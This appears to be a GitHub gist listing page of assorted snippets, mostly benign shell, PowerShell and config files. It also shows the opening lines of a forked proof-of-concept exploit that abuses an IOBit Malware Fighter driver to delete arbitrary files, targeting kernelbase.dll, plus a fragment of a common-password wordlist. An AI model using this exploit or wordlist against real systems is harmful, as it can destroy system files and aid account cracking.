Skip to content

Instantly share code, notes, and snippets.

View lsr00ter's full-sized avatar

letsroot lsr00ter

View GitHub Profile
@lsr00ter
lsr00ter / convert_png_icns.sh
Created February 26, 2025 13:50
Convert a given png file into macOS's iconset(.icns) format
#!/bin/bash
# Create iconset folder
mkdir icon.iconset
# Convert the original image to the required sizes
sips -z 16 16 swicon-apple-touch-icon.png --out icon.iconset/icon_16x16.png
sips -z 32 32 swicon-apple-touch-icon.png --out icon.iconset/icon_16x16@2x.png
sips -z 32 32 swicon-apple-touch-icon.png --out icon.iconset/icon_32x32.png
sips -z 64 64 swicon-apple-touch-icon.png --out icon.iconset/icon_32x32@2x.png
@lsr00ter
lsr00ter / github_hosts_update_ineo6.sh
Last active May 26, 2025 10:28
update hosts from ineo6's github repo
#!/bin/bash
LOG_TAG="hosts_update_ineo6"
log_info() {
logger -t "$LOG_TAG" "[INFO] $1"
echo "[INFO] $1"
}
log_error() {
@lsr00ter
lsr00ter / wireguard-watchdog.sh
Last active February 11, 2025 03:36
WireGuar Watchdog for DDNS endpoint update
#!/bin/bash
set -e
## Put this script in /usr/local/bin/wireguard-watchdog.sh
## Create a service file
# sudo nano /etc/systemd/system/wireguard-watchdog.service
# [Unit]
# Description=WireGuard Watchdog for DDNS endpoint update
@lsr00ter
lsr00ter / IOBitStillSucks.cpp
Created January 8, 2025 14:18 — forked from alfarom256/IOBitStillSucks.cpp
Arbitrary File Delete in IOBit Malware Fighter "Pro"
#include <Windows.h>
#include <stdio.h>
const wchar_t* wstrDummyFile = LR"(\??\C:\Windows\System32\kernelbase.dll)";
const char* strDeviceName = R"(\\.\IMFForceDelete123)";
int main() {
DWORD dwReturnVal = 0;
DWORD dwBytesReturned = 0;
BOOL bRes = FALSE;
@lsr00ter
lsr00ter / fix-ludus-bash_completion-error.sh
Created December 2, 2024 05:26
fix ludus bash_completion error
#!/usr/bin/env bash
mv ~/.config/bash_completion/ ~/.config/bash_completion.d
cat <<EOL >> ~/.config/bash_completion
# user bash_complate dir
compat_dir=${BASH_COMPLETION_COMPAT_DIR:~/.config/bash_completion.d}
if [[ -d $compat_dir && -r $compat_dir && -x $compat_dir ]]; then
for i in "$compat_dir"/*; do
. "$i"
done
fi
@lsr00ter
lsr00ter / hexrays.cfg
Created October 29, 2024 03:31 — forked from 8dcc/hexrays.cfg
Configuration for IDA Pro
/*
Hex-Rays Decompiler configuration file.
The syntax of this file is very simple.
Feel free to edit it to your taste.
IMPORTANT: the installer overwrites this file. Please make a backup copy
if you modify this file in any way. Otherwise you may lose your
modifications!
@lsr00ter
lsr00ter / generate-random-data.ps1
Created October 28, 2024 12:25
generate random file with data, in given file size, given folder, and given sub-folder
function New-TestData {
[CmdletBinding()]
param (
[Parameter(Mandatory)]
[ValidateScript({Test-Path $_})]
[String]$RootFolder,
# How many subfolders should be created
[Parameter(Mandatory=$false)]
[int]
@lsr00ter
lsr00ter / Angular-Development.code-profile
Last active August 9, 2024 00:31 — forked from kcak11/00000.md
VSCode Profiles Collection
{"name":"Angular-Development","settings":"{\"settings\":\"{\\n \\\"workbench.colorTheme\\\": \\\"GitHub Dark Default\\\",\\n \\\"workbench.iconTheme\\\": \\\"material-icon-theme\\\",\\n \\\"search.quickOpen.includeHistory\\\": false,\\n \\\"terminal.integrated.defaultProfile.windows\\\": \\\"C:\\\\\\\\WINDOWS\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\",\\n \\\"files.autoSave\\\": \\\"afterDelay\\\",\\n \\\"files.autoSaveDelay\\\": 5000,\\n \\\"explorer.confirmDelete\\\": false,\\n \\\"typescript.updateImportsOnFileMove.enabled\\\": \\\"always\\\",\\n \\\"terminal.integrated.showExitAlert\\\": false,\\n \\\"javascript.updateImportsOnFileMove.enabled\\\": \\\"always\\\",\\n \\\"todo-tree.tree.showScanModeButton\\\": false,\\n \\\"editor.suggestSelection\\\": \\\"first\\\",\\n \\\"vsintellicode.modify.editor.suggestSelection\\\": \\\"automaticallyOverrodeDefaultValue\\\",\\n \\\"java.configuration.checkProjectSettingsExclusions\\\": fal
123456
123456789
111111
from91
12345678
123123
5201314
000000
11111111
a123456
@lsr00ter
lsr00ter / .tmux.conf
Created May 16, 2024 12:45
minimal tmux config for linux server, quick setup, performance
# using ctrl+a as prefix
set -g prefix C-a
bind C-a send-prefix
# unbind C-b
# large history
set -g history-limit 9999999
# mouse on
set -g mouse on
# disable mouse scroll